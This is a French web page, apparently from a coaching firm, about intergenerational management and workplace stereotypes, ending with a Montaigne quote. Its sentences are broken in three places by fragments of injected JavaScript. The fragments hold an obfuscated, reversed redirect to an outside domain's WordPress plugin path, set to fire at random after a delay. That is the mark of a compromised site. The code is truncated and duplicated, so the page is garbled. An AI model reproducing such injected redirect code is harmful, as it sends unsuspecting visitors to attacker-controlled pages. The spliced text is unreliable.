Les jeunes et les seniors sont les plus toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}touchés par le chômage ; les plus stigmatisés face aux difficultés économiques ; mais ils sont aussi l’expertise et le nouveau souffle toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dont chaque organisation a aujourd’hui besoin dans une collaboration valorisante et fructueuse.

bonhommes-qui-s'entraide

En management de l’intergénérationnel, certaines interventions se font déjà et se posent sur l’idée qu’une génération présente ses caractéristiques à elle, comme étant quelque chose d’immuable, de stéréotypé et de difficilement conciliable avec les autres ; « question de génération » !

Toutefois, que mettoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tons-nous derrière ces mots, quelles excuses ou prétextes sont les justifications de cette vision ? et quelles en sont les conséquences ?

La différence peut-elle se résumer à une question de génération ? et si oui, en quoi ? et comment faire avec ?

Le coaching intergénérationnel a pour seul objectif de faire découvrir à chacun les richesses de l’autre au travers de la génération qu’il représente ; sortir de clichés, de sa perception et chercher ce qu’il y a d’intéressant chez l’autre, voire d’indispensable …

« Il se trouve autant de différence de nous à nous même que de nous à autrui » Montaigne